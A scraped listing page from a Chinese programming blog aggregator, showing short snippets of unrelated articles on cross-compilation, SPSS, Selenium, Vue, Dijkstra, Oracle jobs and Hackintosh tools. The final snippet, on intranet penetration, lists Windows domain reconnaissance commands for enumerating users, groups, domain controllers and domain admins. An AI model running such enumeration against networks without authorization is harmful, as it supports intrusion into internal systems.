  • 交叉编译器简介以及ARM交叉编译器arm-linux-gcc

    一 交叉编译器简介 在一种计算机环境中运行的编译程序 能编译出在另外一种环境下运行的代码 这个编译过程就叫交叉编译 简单地说 就是在一个平台上生成另一个平台上的可执行代码 二 体系结构与操作系统 1 常见的体系结构有ARM结构 x86结构等
  • SPSS异常值处理编程

    SPSS异常值处理编程 异常值是指在数据集中与其他观测值相比明显不同的值 在数据分析过程中 异常值可能会对结果产生不良影响 因此需要进行异常值处理 SPSS作为一种广泛使用的数据分析工具 提供了多种方法来检测和处理异常值 本文将介绍SPSS
  • 【python】UI自动化——鼠标悬浮显示二级菜单相关操作

    一 来个百度示例吧 想要点击如下图的图片 先上代码 import time from selenium import webdriver from selenium webdriver import ActionChains def sta
  • matlab 数据降维和重构_处理不平衡机器学习数据时需要了解的技术

    我们在处理真实世界机器学习数据集时遇到的主要挑战之一是数据的比例不平衡 欺诈检测是这类数据的最好例子 在本文中 我们将使用kaggle中的信用卡欺诈检测数据集 www kaggle com mlg ulb creditcardfraud 在
  • 推荐基于VUE2.0自定义分页插件

    基于vue2 0实现的自定义分页 可设置每页显示条数 带跳转框直接跳转到相应页面 文档地址 https gitee com it distant branch vue custom pages 实现效果如下 支持功能 x 自定义分页条数 x
  • -bash: ./startup.sh: Permission denied

    今天在执行tomcat的时候 用户没有权限 而导致无法执行 用命令chmod 修改一下bin目录下的 sh权限就可以了 如chmod u x sh
  • YUV420P与YUVJ420P

    1 YUV420P与YUVJ420P AV PIX FMT YUV420P lt planar YUV 4 2 0 12bpp 1 Cr Cb sample per 2x2 Y samples AV PIX FMT YUVJ420P lt
  • TOF 3DSensor SDK下载

    DCAM710 与 DCAM100 SDK下载 https picozense picovr com cn sdk html PicoZense SDK是基于PicoZense深度摄像头的软件开发包 支持Windows Linux Open
  • Mybatis Cannot convert string to java.sql.Timestamp value;

    生成默认无参构造函数
  • SpringAop使用的到底是JDK动态代理还是Cglib?

    1 从源码分析 optimize标志已设置 也就是为true 设置proxyTargetClass 目标代理类 标志 更改proxyTargetClass 目标代理类 标志的方法 没有指定代理接口 2 错误的推论 3 最终的推论 什么时候使
  • CodeGeeX中这些隐藏的设置,你知道吗?

    随着CodeGeeX整体性能的升级 越来越多的用户发现CodeGeeX的很多实用功能 能够帮助程序员更快更好的编写代码和解决技术问题 近期 我们看到许多用户在使用CodeGeeX的过程中 有一些相似的疑问 比如 很多人希望能够通过调整设置
  • 以太网流量控制——PAUSE帧

    http www tuicool com articles Bzu2uuf 今天在测试DPDK性能的时候 发现发包工具的发包速率无法提升上去 千兆网卡设置速率70W qps 只能发出1W的速率 抓包发现有大量的PAUSE流控帧 一 PAUS
  • High-resolution Face Swapping via Latent Semantics Disentanglement

    High resolution Face Swapping via Latent Semantics Disentanglement 人脸视频交换 从浅层派生结构属性 从深层派生外观属性 结构转移潜在方向 进一步分离结构属性中的身份和姿态信
  • 【算法学习笔记】20:朴素Dijkstra与堆优化Dijkstra(无负权边单源点最短路)

    Dijkstra算法用于在所有边权都非负的图上 求单源点最短路 设 n n n是图上结点的数量 m m m是边的数量 则朴素Dijkstra算法的时间复杂度是 O
  • Oracle 定时任务详解(dbms_job)

    文章目录 1 概述 2 dbms job 2 1 提交 2 2 暂停 2 3 修改 2 4 运行 2 5 删除 1 概述 1 数据来源包 dbms job Oracle 10g 前常用 2 目前已被 dbms scheduler 所取代 且
  • 百亿补贴通用H5导航栏方案

    背景 在移动端页面中 由于屏幕空间有限 导航条扮演着非常重要的角色 提供了快速导航到不同页面或功能的方式 用户也通常会在导航条中寻找他们感兴趣的内容 因此导航条的曝光率较高 在这样的背景下 提供一个动态灵活的导航条 为产品赋能 变得尤其重要
  • unity 获取小车速度及前进或者后退

    项目需要获得小车移动的数据 用来驱动轮子正传或者反转 所以得想法获取小车的移动量 首先想到的是 使用Unity的API Rigidbody velocity 但是实际操作起来却不是那么回事 貌似Rigidbody velocity只能响应物
  • 黑苹果必备OC配置工具OpenCore Configurator 2.12.0.0中文版

    OpenCore Configurator 中文版是非常优秀的一款黑苹果OC配置工具 可以通过提供更加通用和模块化的系统来解决Clover带来的限制和问题 拦截内核加载以插入高级的rootkit 而该rootkit旨在替代Clover Op
  • Leetcode 78. 子集(回溯法)

    子集 回溯法 class Solution List
  • 内网渗透篇

    域信息搜集命令 1 查询当前环境 whoami ipconfig all 2 查询当前域用户 net user domain 3 查询域控 net time 4 查询域工作组 net group domain 5 查询域管理用户 net g